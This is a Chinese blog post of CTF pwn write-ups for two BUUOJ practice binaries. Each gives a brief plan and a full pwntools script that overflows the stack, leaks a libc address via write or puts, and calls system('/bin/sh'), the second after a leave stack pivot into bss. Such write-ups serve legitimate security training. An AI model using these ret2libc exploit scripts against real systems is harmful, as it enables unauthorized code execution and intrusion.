从前偷懒的日子-2021.4.15

(1)铁人三项(第五赛区)_2018_rop1


程序如上,很明显的栈溢出漏洞,然后查看函数表:

因此推断需要泄露libc的地址。
利用思路如下:
(1)利用栈溢出漏洞执行write函数泄露__libc_start_main地址并且返回主函数。
(2)推断出system的函数地址和’/bin/sh‘的地址。
(3)然后再次利用栈溢出获得sh
利用代码如下:

from LibcSearcher import *
context.log_level='debug'
r=process('./2018_rop')
r=remote('node3.buuoj.cn',27934)
elf=ELF('./2018_rop')
write_plt=elf.plt['write']
maingot=elf.got['__libc_start_main']
main=elf.sym['main']
payload='a'*(0x88+4)
+p32(write_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(1).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")+p32(4).decode("iso-8859-1")
r.sendline(payload)
main_addr=u32(r.recv(4))
print(hex(main_addr))
libc=LibcSearcher('__libc_start_main',main_addr)
print(libc)
offer=main_addr-libc.dump('__libc_start_main')
print(hex(offer))
systemadd=offer+libc.dump('system')
print(hex(systemadd))
binadd=offer+libc.dump('str_bin_sh')
print(hex(binadd))
payload='a'*140+p32(systemadd).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(binadd).decode("iso-8859-1")
r.sendline(payload)
r.interactive()

(2)[Black Watch 入群题]PWN1(知识点:leave,泄露libc)

程序代码如下:

可以看到是一个明显的溢出漏洞,但是要注意到该漏洞溢出的数目非常小,只能刚好覆盖返回地址,所以要用到leave这个技术,而上面的s的存储地址是在bss代码段,于是提供了环境。函数表如图:

可以看到还需要libc。
综上所述,利用思路如下:
(1)将leave后的泄露libc的代码写入s中,然后leave,并且返回主函数重复执行。
(2)再进行一次leave执行system(“/bin/sh”)
利用代码如下:

from pwn import *
from LibcSearcher import *
context.log_level='debug'
r=process('./桌面/spwn')
# r=remote('node3.buuoj.cn',28183)
elf=ELF('./桌面/spwn')
put_plt=elf.plt['puts']
# print(hex(put_plt))
write_plt=elf.plt['write']
# putgot=elf.got['puts']
maingot=elf.got['__libc_start_main']
main=elf.sym['main']
leveadd=0x08048511
sadd=0x0804a300
r.recvuntil('What is your name?')
# payload1=p32(write_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(1).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")+p32(4).decode("iso-8859-1")
payload1=p32(put_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")
r.send(payload1)
r.recvuntil('What do you want to say?')
payload2='a'*24+p32(sadd-4).decode('iso-8859-1')+p32(leveadd).decode('iso-8859-1')#+p32(put_plt).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(maingot).decode("iso-8859-1")
print(payload2)
gdb.attach(r)
r.send(payload2)
main_addr=u32(r.recv(4))
print(hex(main_addr))
libc=LibcSearcher('__libc_start_main',main_addr)
# print(libc)
offer=main_addr-libc.dump('__libc_start_main')
# # print(hex(offer))
systemadd=offer+libc.dump('system')
print(hex(systemadd))
binadd=offer+libc.dump('str_bin_sh')
print(hex(binadd))
r.recvuntil('ame?')
payload1=p32(systemadd).decode("iso-8859-1")+p32(main).decode("iso-8859-1")+p32(binadd).decode("iso-8859-1")
r.sendline(payload1)
r.recvuntil('want to say?')
r.send(payload2)
r.interactive()
posted @ 2021-04-18 14:44  Nothing”to”say  阅读(63)  评论(0编辑  收藏  举报